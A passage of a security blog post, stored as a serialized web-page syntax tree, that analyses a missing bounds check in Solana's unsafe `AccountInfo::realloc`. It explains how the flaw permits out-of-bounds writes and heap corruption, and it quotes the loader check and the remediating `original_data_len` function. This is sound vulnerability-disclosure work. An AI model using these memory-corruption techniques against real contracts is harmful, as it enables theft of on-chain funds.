",{"type":26,"tag":116,"props":16061,"children":16064},{"href":16062,"rel":16063},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[120],[16065],{"type":26,"tag":53,"props":16066,"children":16068},{"className":16067},[],[16069],{"type":32,"value":8513},{"type":32,"value":6171},{"type":26,"tag":116,"props":16072,"children":16075},{"href":16073,"rel":16074},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[120],[16076],{"type":32,"value":16077},"and",{"type":32,"value":6171},{"type":26,"tag":116,"props":16080,"children":16083},{"href":16081,"rel":16082},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[120],[16084],{"type":32,"value":16085},"frie",{"type":26,"tag":116,"props":16087,"children":16090},{"href":16088,"rel":16089},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[120],[16091],{"type":32,"value":16092},"nds",{"type":32,"value":16094},"). So from ",{"type":26,"tag":53,"props":16096,"children":16098},{"className":16097},[],[16099],{"type":32,"value":16100},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":32,"value":16102}," we get a ",{"type":26,"tag":53,"props":16104,"children":16106},{"className":16105},[],[16107],{"type":32,"value":16108},"*mut &mut [u8]",{"type":32,"value":16110}," - a ",{"type":26,"tag":2615,"props":16112,"children":16113},{},[16114],{"type":32,"value":16115},"pointer",{"type":32,"value":16117}," to the ",{"type":26,"tag":2615,"props":16119,"children":16120},{},[16121],{"type":32,"value":16122},"slice reference",{"type":32,"value":16124},". From here, we turn the pointer into a ",{"type":26,"tag":53,"props":16126,"children":16128},{"className":16127},[],[16129],{"type":32,"value":16130},"*const u64",{"type":32,"value":16132}," pointer and then offset by 1 ",{"type":26,"tag":53,"props":16134,"children":16136},{"className":16135},[],[16137],{"type":32,"value":7753},{"type":32,"value":16139}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":26,"tag":35,"props":16141,"children":16142},{},[16143,16145,16150,16152,16157,16159,16164,16166,16171,16173,16179],{"type":32,"value":16144},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":26,"tag":116,"props":16146,"children":16148},{"href":16147},"#Towards-safer-unsafe",[16149],{"type":32,"value":15817},{"type":32,"value":16151}," too, I promise. In summary, we're writing the new length as a ",{"type":26,"tag":53,"props":16153,"children":16155},{"className":16154},[],[16156],{"type":32,"value":7753},{"type":32,"value":16158}," to the region starting 8 bytes from the start of the slice ",{"type":26,"tag":2615,"props":16160,"children":16161},{},[16162],{"type":32,"value":16163},"reference",{"type":32,"value":16165}," (the ",{"type":26,"tag":53,"props":16167,"children":16169},{"className":16168},[],[16170],{"type":32,"value":15168},{"type":32,"value":16172},").So, what does ",{"type":26,"tag":53,"props":16174,"children":16176},{"className":16175},[],[16177],{"type":32,"value":16178},"&[T]",{"type":32,"value":16180}," look like in Rust?",{"type":26,"tag":35,"props":16182,"children":16183},{},[16184,16186,16193,16195,16208,16210,16216],{"type":32,"value":16185},"According to ",{"type":26,"tag":116,"props":16187,"children":16190},{"href":16188,"rel":16189},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[120],[16191],{"type":32,"value":16192},"the reference",{"type":32,"value":16194},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":26,"tag":116,"props":16196,"children":16199},{"href":16197,"rel":16198},"https://doc.rust-lang.org/reference/type-layout.html",[120],[16200,16202,16206],{"type":32,"value":16201},"\"Type layout can be changed with each compilation. ",{"type":26,"tag":475,"props":16203,"children":16204},{},[16205],{"type":32,"value":9300},{"type":32,"value":16207}," we only document what is guaranteed today\"",{"type":32,"value":16209},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":26,"tag":53,"props":16211,"children":16213},{"className":16212},[],[16214],{"type":32,"value":16215},"rustc",{"type":32,"value":16217},", the layout is a data pointer followed by the size; essentially the same as:",{"type":26,"tag":465,"props":16219,"children":16222},{"className":16220,"code":16221,"language":2854,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[16223],{"type":26,"tag":53,"props":16224,"children":16225},{"__ignoreMap":7},[16226,16234,16246,16263,16276],{"type":26,"tag":475,"props":16227,"children":16228},{"class":477,"line":478},[16229],{"type":26,"tag":475,"props":16230,"children":16231},{"style":552},[16232],{"type":32,"value":16233},"// C language\n",{"type":26,"tag":475,"props":16235,"children":16236},{"class":477,"line":516},[16237,16241],{"type":26,"tag":475,"props":16238,"children":16239},{"style":482},[16240],{"type":32,"value":9111},{"type":26,"tag":475,"props":16242,"children":16243},{"style":499},[16244],{"type":32,"value":16245}," slice_ref {\n",{"type":26,"tag":475,"props":16247,"children":16248},{"class":477,"line":539},[16249,16254,16258],{"type":26,"tag":475,"props":16250,"children":16251},{"style":482},[16252],{"type":32,"value":16253}," void",{"type":26,"tag":475,"props":16255,"children":16256},{"style":714},[16257],{"type":32,"value":4282},{"type":26,"tag":475,"props":16259,"children":16260},{"style":499},[16261],{"type":32,"value":16262}," ptr;\n",{"type":26,"tag":475,"props":16264,"children":16265},{"class":477,"line":548},[16266,16271],{"type":26,"tag":475,"props":16267,"children":16268},{"style":482},[16269],{"type":32,"value":16270}," size_t",{"type":26,"tag":475,"props":16272,"children":16273},{"style":499},[16274],{"type":32,"value":16275}," len;\n",{"type":26,"tag":475,"props":16277,"children":16278},{"class":477,"line":558},[16279],{"type":26,"tag":475,"props":16280,"children":16281},{"style":499},[16282],{"type":32,"value":16283},"};\n",{"type":26,"tag":35,"props":16285,"children":16286},{},[16287],{"type":32,"value":16288},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":26,"tag":181,"props":16290,"children":16291},{},[16292,16297,16315],{"type":26,"tag":86,"props":16293,"children":16294},{},[16295],{"type":32,"value":16296},"Slices are laid out in the precise manner described",{"type":26,"tag":86,"props":16298,"children":16299},{},[16300,16302,16308,16310],{"type":32,"value":16301},"Pointers and ",{"type":26,"tag":53,"props":16303,"children":16305},{"className":16304},[],[16306],{"type":32,"value":16307},"usize",{"type":32,"value":16309}," are the same width as ",{"type":26,"tag":53,"props":16311,"children":16313},{"className":16312},[],[16314],{"type":32,"value":7753},{"type":26,"tag":86,"props":16316,"children":16317},{},[16318,16320,16325],{"type":32,"value":16319},"The ",{"type":26,"tag":53,"props":16321,"children":16323},{"className":16322},[],[16324],{"type":32,"value":15209},{"type":32,"value":16326}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":26,"tag":35,"props":16328,"children":16329},{},[16330,16332,16337,16339,16345,16347,16352,16354,16360,16362,16367,16369,16379],{"type":32,"value":16331},"Assumption #2 is ",{"type":26,"tag":2615,"props":16333,"children":16334},{},[16335],{"type":32,"value":16336},"probably",{"type":32,"value":16338}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":26,"tag":53,"props":16340,"children":16342},{"className":16341},[],[16343],{"type":32,"value":16344},"borrow_mut",{"type":32,"value":16346}," of the ",{"type":26,"tag":53,"props":16348,"children":16350},{"className":16349},[],[16351],{"type":32,"value":15209},{"type":32,"value":16353}," (through ",{"type":26,"tag":53,"props":16355,"children":16357},{"className":16356},[],[16358],{"type":32,"value":16359},"AccountInfo::try_borrow_mut_data()",{"type":32,"value":16361},"), and ",{"type":26,"tag":53,"props":16363,"children":16365},{"className":16364},[],[16366],{"type":32,"value":15209},{"type":32,"value":16368}," is not usable between multiple threads",{"type":26,"tag":15179,"props":16370,"children":16371},{},[16372],{"type":26,"tag":116,"props":16373,"children":16377},{"href":16374,"ariaDescribedBy":16375,"dataFootnoteRef":7,"id":16376},"#user-content-fn-sendsync",[15186],"user-content-fnref-sendsync",[16378],{"type":32,"value":2830},{"type":32,"value":16380},", so we already have exclusive access.",{"type":26,"tag":35,"props":16382,"children":16383},{},[16384,16386,16390],{"type":32,"value":16385},"A few more ",{"type":26,"tag":2615,"props":16387,"children":16388},{},[16389],{"type":32,"value":6820},{"type":32,"value":16391}," things of note, that could have gone badly but didn't:",{"type":26,"tag":82,"props":16393,"children":16394},{},[16395,16437],{"type":26,"tag":86,"props":16396,"children":16397},{},[16398,16400,16406,16408,16413,16415,16420,16422,16427,16429,16435],{"type":32,"value":16399},"By reborrowing the pointer (the ",{"type":26,"tag":53,"props":16401,"children":16403},{"className":16402},[],[16404],{"type":32,"value":16405},"&mut *(\u003Cvalue of type *mut u64>)",{"type":32,"value":16407},"), we've created a reference with an ",{"type":26,"tag":2615,"props":16409,"children":16410},{},[16411],{"type":32,"value":16412},"unbounded lifetime",{"type":32,"value":16414},". Rust is free to infer ",{"type":26,"tag":2615,"props":16416,"children":16417},{},[16418],{"type":32,"value":16419},"any",{"type":32,"value":16421}," lifetime for ",{"type":26,"tag":53,"props":16423,"children":16425},{"className":16424},[],[16426],{"type":32,"value":13656},{"type":32,"value":16428}," (including ",{"type":26,"tag":53,"props":16430,"children":16432},{"className":16431},[],[16433],{"type":32,"value":16434},"'static",{"type":32,"value":16436},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":26,"tag":86,"props":16438,"children":16439},{},[16440,16442,16448,16450,16455,16457,16462,16464,16469,16471,16476,16478,16483,16485,16490,16492,16498,16500,16505,16507,16512,16514,16519,16521,16526,16528,16533],{"type":32,"value":16441},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":26,"tag":53,"props":16443,"children":16445},{"className":16444},[],[16446],{"type":32,"value":16447},"RefMut",{"type":32,"value":16449}," returned from ",{"type":26,"tag":53,"props":16451,"children":16453},{"className":16452},[],[16454],{"type":32,"value":13581},{"type":32,"value":16456},", but the ",{"type":26,"tag":53,"props":16458,"children":16460},{"className":16459},[],[16461],{"type":32,"value":16447},{"type":32,"value":16463}," is dropped at the end of the statement. So, we now have in ",{"type":26,"tag":53,"props":16465,"children":16467},{"className":16466},[],[16468],{"type":32,"value":13656},{"type":32,"value":16470}," a ",{"type":26,"tag":2615,"props":16472,"children":16473},{},[16474],{"type":32,"value":16475},"mutable",{"type":32,"value":16477}," pointer to the ",{"type":26,"tag":53,"props":16479,"children":16481},{"className":16480},[],[16482],{"type":32,"value":15209},{"type":32,"value":16484},"'s data, but the ",{"type":26,"tag":53,"props":16486,"children":16488},{"className":16487},[],[16489],{"type":32,"value":15209},{"type":32,"value":16491}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":26,"tag":53,"props":16493,"children":16495},{"className":16494},[],[16496],{"type":32,"value":16497},"Mutex",{"type":32,"value":16499}," instead of a ",{"type":26,"tag":53,"props":16501,"children":16503},{"className":16502},[],[16504],{"type":32,"value":15209},{"type":32,"value":16506}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":26,"tag":53,"props":16508,"children":16510},{"className":16509},[],[16511],{"type":32,"value":13656},{"type":32,"value":16513}," and writing to it ",{"type":26,"tag":2615,"props":16515,"children":16516},{},[16517],{"type":32,"value":16518},"and succeed",{"type":32,"value":16520},", resulting in us writing while another reference is alive. However, since ",{"type":26,"tag":53,"props":16522,"children":16524},{"className":16523},[],[16525],{"type":32,"value":13656},{"type":32,"value":16527}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":26,"tag":53,"props":16529,"children":16531},{"className":16530},[],[16532],{"type":32,"value":3408},{"type":32,"value":16534}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":26,"tag":35,"props":16536,"children":16537},{},[16538,16540,16545],{"type":32,"value":16539},"Ok, now that we've understood what the code is ",{"type":26,"tag":2615,"props":16541,"children":16542},{},[16543],{"type":32,"value":16544},"trying",{"type":32,"value":16546}," to do, let's try to break it, shall we?",{"type":26,"tag":27,"props":16548,"children":16550},{"id":16549},"what-can-go-wrong",[16551],{"type":32,"value":16552},"What can go wrong?",{"type":26,"tag":41,"props":16554,"children":16556},{"id":16555},"contracts",[16557],{"type":32,"value":16558},"Contracts",{"type":26,"tag":35,"props":16560,"children":16561},{},[16562,16564,16569,16571,16576,16578,16583,16585,16590],{"type":32,"value":16563},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":26,"tag":53,"props":16565,"children":16567},{"className":16566},[],[16568],{"type":32,"value":13345},{"type":32,"value":16570},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":26,"tag":53,"props":16572,"children":16574},{"className":16573},[],[16575],{"type":32,"value":13345},{"type":32,"value":16577}," to some large size, past the end of the buffer of roughly ",{"type":26,"tag":53,"props":16579,"children":16581},{"className":16580},[],[16582],{"type":32,"value":14999},{"type":32,"value":16584}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":26,"tag":53,"props":16586,"children":16588},{"className":16587},[],[16589],{"type":32,"value":3408},{"type":32,"value":16591}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":26,"tag":35,"props":16593,"children":16594},{},[16595,16597,16604],{"type":32,"value":16596},"There is ",{"type":26,"tag":116,"props":16598,"children":16601},{"href":16599,"rel":16600},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[120],[16602],{"type":32,"value":16603},"a check",{"type":32,"value":16605}," by the BPF loader, however, and it boils down to:",{"type":26,"tag":465,"props":16607,"children":16609},{"className":2685,"code":16608,"language":2684,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[16610],{"type":26,"tag":53,"props":16611,"children":16612},{"__ignoreMap":7},[16613,16651,16681,16688,16721],{"type":26,"tag":475,"props":16614,"children":16615},{"class":477,"line":478},[16616,16620,16625,16629,16633,16637,16641,16646],{"type":26,"tag":475,"props":16617,"children":16618},{"style":586},[16619],{"type":32,"value":15285},{"type":26,"tag":475,"props":16621,"children":16622},{"style":2375},[16623],{"type":32,"value":16624}," post_len",{"type":26,"tag":475,"props":16626,"children":16627},{"style":714},[16628],{"type":32,"value":353},{"type":26,"tag":475,"props":16630,"children":16631},{"style":493},[16632],{"type":32,"value":13999},{"type":26,"tag":475,"props":16634,"children":16635},{"style":499},[16636],{"type":32,"value":626},{"type":26,"tag":475,"props":16638,"children":16639},{"style":714},[16640],{"type":32,"value":4282},{"type":26,"tag":475,"props":16642,"children":16643},{"style":2375},[16644],{"type":32,"value":16645},"pre_len",{"type":26,"tag":475,"props":16647,"children":16648},{"style":499},[16649],{"type":32,"value":16650},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":26,"tag":475,"props":16652,"children":16653},{"class":477,"line":516},[16654,16659,16663,16667,16672,16676],{"type":26,"tag":475,"props":16655,"children":16656},{"style":714},[16657],{"type":32,"value":16658}," ||",{"type":26,"tag":475,"props":16660,"children":16661},{"style":2375},[16662],{"type":32,"value":16624},{"type":26,"tag":475,"props":16664,"children":16665},{"style":714},[16666],{"type":32,"value":13901},{"type":26,"tag":475,"props":16668,"children":16669},{"style":499},[16670],{"type":32,"value":16671}," MAX_PERMITTED_DATA_LENGTH ",{"type":26,"tag":475,"props":16673,"children":16674},{"style":482},[16675],{"type":32,"value":8553},{"type":26,"tag":475,"props":16677,"children":16678},{"style":505},[16679],{"type":32,"value":16680}," usize\n",{"type":26,"tag":475,"props":16682,"children":16683},{"class":477,"line":539},[16684],{"type":26,"tag":475,"props":16685,"children":16686},{"style":499},[16687],{"type":32,"value":10589},{"type":26,"tag":475,"props":16689,"children":16690},{"class":477,"line":548},[16691,16696,16700,16704,16708,16712,16717],{"type":26,"tag":475,"props":16692,"children":16693},{"style":586},[16694],{"type":32,"value":16695}," return",{"type":26,"tag":475,"props":16697,"children":16698},{"style":505},[16699],{"type":32,"value":15454},{"type":26,"tag":475,"props":16701,"children":16702},{"style":499},[16703],{"type":32,"value":626},{"type":26,"tag":475,"props":16705,"children":16706},{"style":505},[16707],{"type":32,"value":15463},{"type":26,"tag":475,"props":16709,"children":16710},{"style":714},[16711],{"type":32,"value":3187},{"type":26,"tag":475,"props":16713,"children":16714},{"style":505},[16715],{"type":32,"value":16716},"InvalidRealloc",{"type":26,"tag":475,"props":16718,"children":16719},{"style":499},[16720],{"type":32,"value":3533},{"type":26,"tag":475,"props":16722,"children":16723},{"class":477,"line":558},[16724],{"type":26,"tag":475,"props":16725,"children":16726},{"style":499},[16727],{"type":32,"value":3607},{"type":26,"tag":35,"props":16729,"children":16730},{},[16731,16733,16738,16740,16745],{"type":32,"value":16732},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":26,"tag":2615,"props":16734,"children":16735},{},[16736],{"type":32,"value":16737},"finishes",{"type":32,"value":16739}," execution. ",{"type":26,"tag":2615,"props":16741,"children":16742},{},[16743],{"type":32,"value":16744},"During",{"type":32,"value":16746}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":26,"tag":35,"props":16748,"children":16749},{},[16750,16752,16757,16759,16764,16766,16773],{"type":32,"value":16751},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":26,"tag":2615,"props":16753,"children":16754},{},[16755],{"type":32,"value":16756},"arbitrary",{"type":32,"value":16758}," memory access through a mistakenly-",{"type":26,"tag":53,"props":16760,"children":16762},{"className":16761},[],[16763],{"type":32,"value":13345},{"type":32,"value":16765},"'d account, this falls in the relm of some ",{"type":26,"tag":116,"props":16767,"children":16770},{"href":16768,"rel":16769},"https://en.wikipedia.org/wiki/Buffer_overflow",[120],[16771],{"type":32,"value":16772},"old-school pwning",{"type":32,"value":16774}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":26,"tag":41,"props":16776,"children":16778},{"id":16777},"not-contracts",[16779],{"type":32,"value":16780},"Not-contracts?",{"type":26,"tag":35,"props":16782,"children":16783},{},[16784,16786,16791,16793,16803,16805,16817,16819,16826,16828,16833,16835,16840,16842,16855,16857,16862,16864,16869],{"type":32,"value":16785},"Remember when we said that all this code makes sense ",{"type":26,"tag":2615,"props":16787,"children":16788},{},[16789],{"type":32,"value":16790},"if the data points to the BPF loader's serialized buffer",{"type":32,"value":16792},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":26,"tag":116,"props":16794,"children":16797},{"href":16795,"rel":16796},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[120],[16798],{"type":26,"tag":53,"props":16799,"children":16801},{"className":16800},[],[16802],{"type":32,"value":14644},{"type":32,"value":16804}," are public, and so is its ",{"type":26,"tag":116,"props":16806,"children":16809},{"href":16807,"rel":16808},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[120],[16810,16815],{"type":26,"tag":53,"props":16811,"children":16813},{"className":16812},[],[16814],{"type":32,"value":14828},{"type":32,"value":16816}," method",{"type":32,"value":16818}," (which is ",{"type":26,"tag":116,"props":16820,"children":16823},{"href":16821,"rel":16822},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[120],[16824],{"type":32,"value":16825},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":32,"value":16827},"). The ",{"type":26,"tag":53,"props":16829,"children":16831},{"className":16830},[],[16832],{"type":32,"value":13345},{"type":32,"value":16834}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":26,"tag":53,"props":16836,"children":16838},{"className":16837},[],[16839],{"type":32,"value":14644},{"type":32,"value":16841}," ourselves - potentially through the ",{"type":26,"tag":116,"props":16843,"children":16846},{"href":16844,"rel":16845},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[120],[16847,16853],{"type":26,"tag":53,"props":16848,"children":16850},{"className":16849},[],[16851],{"type":32,"value":16852},"Account",{"type":32,"value":16854}," trait",{"type":32,"value":16856},", which is hardly documented at all and makes ",{"type":26,"tag":2615,"props":16858,"children":16859},{},[16860],{"type":32,"value":16861},"no",{"type":32,"value":16863}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":26,"tag":53,"props":16865,"children":16867},{"className":16866},[],[16868],{"type":32,"value":3408},{"type":32,"value":16870}," buffer.",{"type":26,"tag":35,"props":16872,"children":16873},{},[16874,16876,16887,16889,16895,16897,16903,16905,16918,16920,16925,16927,16932,16934,16939,16941,16946,16948,16953,16955,16960],{"type":32,"value":16875},"One long arm of this is ",{"type":26,"tag":116,"props":16877,"children":16880},{"href":16878,"rel":16879},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[120],[16881],{"type":26,"tag":53,"props":16882,"children":16884},{"className":16883},[],[16885],{"type":32,"value":16886},"solana_sdk::account::Account",{"type":32,"value":16888}," - in the client SDK. It holds an account's data in a ",{"type":26,"tag":53,"props":16890,"children":16892},{"className":16891},[],[16893],{"type":32,"value":16894},"Vec\u003Cu8>",{"type":32,"value":16896},", and it implements ",{"type":26,"tag":53,"props":16898,"children":16900},{"className":16899},[],[16901],{"type":32,"value":16902},"solana_program::account_info::Account",{"type":32,"value":16904}," (the trait from earlier) - by ",{"type":26,"tag":116,"props":16906,"children":16909},{"href":16907,"rel":16908},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[120],[16910,16912],{"type":32,"value":16911},"returning a reference to the contents of that ",{"type":26,"tag":53,"props":16913,"children":16915},{"className":16914},[],[16916],{"type":32,"value":16917},"Vec",{"type":32,"value":16919},". So, ",{"type":26,"tag":53,"props":16921,"children":16923},{"className":16922},[],[16924],{"type":32,"value":13345},{"type":32,"value":16926}," writes the size into the 8 bytes right before ",{"type":26,"tag":53,"props":16928,"children":16930},{"className":16929},[],[16931],{"type":32,"value":3408},{"type":32,"value":16933},"; ",{"type":26,"tag":53,"props":16935,"children":16937},{"className":16936},[],[16938],{"type":32,"value":3408},{"type":32,"value":16940}," is the buffer of a ",{"type":26,"tag":53,"props":16942,"children":16944},{"className":16943},[],[16945],{"type":32,"value":16917},{"type":32,"value":16947},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":26,"tag":53,"props":16949,"children":16951},{"className":16950},[],[16952],{"type":32,"value":14644},{"type":32,"value":16954}," out of an SDK ",{"type":26,"tag":53,"props":16956,"children":16958},{"className":16957},[],[16959],{"type":32,"value":16852},{"type":32,"value":16961}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":26,"tag":27,"props":16963,"children":16965},{"id":16964},"remediation",[16966],{"type":32,"value":16967},"Remediation",{"type":26,"tag":35,"props":16969,"children":16970},{},[16971],{"type":32,"value":16972},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":26,"tag":35,"props":16974,"children":16975},{},[16976,16978,16983,16985,16990,16992,17003,17005,17010,17012,17019],{"type":32,"value":16977},"The sensible thing to do would be to store the initial size in the ",{"type":26,"tag":53,"props":16979,"children":16981},{"className":16980},[],[16982],{"type":32,"value":14644},{"type":32,"value":16984},"... except for the fact that the layout of ",{"type":26,"tag":53,"props":16986,"children":16988},{"className":16987},[],[16989],{"type":32,"value":14644},{"type":32,"value":16991}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":26,"tag":15179,"props":16993,"children":16994},{},[16995],{"type":26,"tag":116,"props":16996,"children":17000},{"href":16997,"ariaDescribedBy":16998,"dataFootnoteRef":7,"id":16999},"#user-content-fn-layout",[15186],"user-content-fnref-layout",[17001],{"type":32,"value":17002},"3",{"type":32,"value":17004}," So, with changing ",{"type":26,"tag":53,"props":17006,"children":17008},{"className":17007},[],[17009],{"type":32,"value":14644},{"type":32,"value":17011}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":26,"tag":116,"props":17013,"children":17016},{"href":17014,"rel":17015},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[120],[17017],{"type":32,"value":17018},"this function",{"type":32,"value":179},{"type":26,"tag":465,"props":17021,"children":17023},{"className":2685,"code":17022,"language":2684,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[17024],{"type":26,"tag":53,"props":17025,"children":17026},{"__ignoreMap":7},[17027,17035,17043,17051,17059,17066,17074,17082,17130,17195,17261,17282],{"type":26,"tag":475,"props":17028,"children":17029},{"class":477,"line":478},[17030],{"type":26,"tag":475,"props":17031,"children":17032},{"style":552},[17033],{"type":32,"value":17034},"/// Return the account's original data length when it was serialized for the\n",{"type":26,"tag":475,"props":17036,"children":17037},{"class":477,"line":516},[17038],{"type":26,"tag":475,"props":17039,"children":17040},{"style":552},[17041],{"type":32,"value":17042},"/// current program invocation.\n",{"type":26,"tag":475,"props":17044,"children":17045},{"class":477,"line":539},[17046],{"type":26,"tag":475,"props":17047,"children":17048},{"style":552},[17049],{"type":32,"value":17050},"///\n",{"type":26,"tag":475,"props":17052,"children":17053},{"class":477,"line":548},[17054],{"type":26,"tag":475,"props":17055,"children":17056},{"style":552},[17057],{"type":32,"value":17058},"/// # Safety\n",{"type":26,"tag":475,"props":17060,"children":17061},{"class":477,"line":558},[17062],{"type":26,"tag":475,"props":17063,"children":17064},{"style":552},[17065],{"type":32,"value":17050},{"type":26,"tag":475,"props":17067,"children":17068},{"class":477,"line":582},[17069],{"type":26,"tag":475,"props":17070,"children":17071},{"style":552},[17072],{"type":32,"value":17073},"/// This method assumes that the original data length was serialized as a u32\n",{"type":26,"tag":475,"props":17075,"children":17076},{"class":477,"line":596},[17077],{"type":26,"tag":475,"props":17078,"children":17079},{"style":552},[17080],{"type":32,"value":17081},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":26,"tag":475,"props":17083,"children":17084},{"class":477,"line":610},[17085,17089,17093,17097,17102,17106,17110,17114,17118,17122,17126],{"type":26,"tag":475,"props":17086,"children":17087},{"style":482},[17088],{"type":32,"value":13397},{"type":26,"tag":475,"props":17090,"children":17091},{"style":482},[17092],{"type":32,"value":14297},{"type":26,"tag":475,"props":17094,"children":17095},{"style":482},[17096],{"type":32,"value":13402},{"type":26,"tag":475,"props":17098,"children":17099},{"style":493},[17100],{"type":32,"value":17101}," original_data_len",{"type":26,"tag":475,"props":17103,"children":17104},{"style":499},[17105],{"type":32,"value":626},{"type":26,"tag":475,"props":17107,"children":17108},{"style":714},[17109],{"type":32,"value":2816},{"type":26,"tag":475,"props":17111,"children":17112},{"style":482},[17113],{"type":32,"value":13420},{"type":26,"tag":475,"props":17115,"children":17116},{"style":499},[17117],{"type":32,"value":2794},{"type":26,"tag":475,"props":17119,"children":17120},{"style":714},[17121],{"type":32,"value":13464},{"type":26,"tag":475,"props":17123,"children":17124},{"style":505},[17125],{"type":32,"value":13438},{"type":26,"tag":475,"props":17127,"children":17128},{"style":499},[17129],{"type":32,"value":579},{"type":26,"tag":475,"props":17131,"children":17132},{"class":477,"line":650},[17133,17137,17142,17146,17150,17154,17159,17163,17167,17171,17175,17179,17183,17187,17191],{"type":26,"tag":475,"props":17134,"children":17135},{"style":482},[17136],{"type":32,"value":2705},{"type":26,"tag":475,"props":17138,"children":17139},{"style":2375},[17140],{"type":32,"value":17141}," key_ptr",{"type":26,"tag":475,"props":17143,"children":17144},{"style":714},[17145],{"type":32,"value":2383},{"type":26,"tag":475,"props":17147,"children":17148},{"style":482},[17149],{"type":32,"value":13504},{"type":26,"tag":475,"props":17151,"children":17152},{"style":714},[17153],{"type":32,"value":353},{"type":26,"tag":475,"props":17155,"children":17156},{"style":499},[17157],{"type":32,"value":17158},"key ",{"type":26,"tag":475,"props":17160,"children":17161},{"style":482},[17162],{"type":32,"value":8553},{"type":26,"tag":475,"props":17164,"children":17165},{"style":714},[17166],{"type":32,"value":9525},{"type":26,"tag":475,"props":17168,"children":17169},{"style":482},[17170],{"type":32,"value":9363},{"type":26,"tag":475,"props":17172,"children":17173},{"style":2375},[17174],{"type":32,"value":2742},{"type":26,"tag":475,"props":17176,"children":17177},{"style":482},[17178],{"type":32,"value":8539},{"type":26,"tag":475,"props":17180,"children":17181},{"style":714},[17182],{"type":32,"value":9525},{"type":26,"tag":475,"props":17184,"children":17185},{"style":482},[17186],{"type":32,"value":9363},{"type":26,"tag":475,"props":17188,"children":17189},{"style":505},[17190],{"type":32,"value":14341},{"type":26,"tag":475,"props":17192,"children":17193},{"style":499},[17194],{"type":32,"value":2729},{"type":26,"tag":475,"props":17196,"children":17197},{"class":477,"line":679},[17198,17202,17207,17211,17215,17219,17223,17227,17231,17236,17240,17244,17248,17252,17257],{"type":26,"tag":475,"props":17199,"children":17200},{"style":482},[17201],{"type":32,"value":2705},{"type":26,"tag":475,"props":17203,"children":17204},{"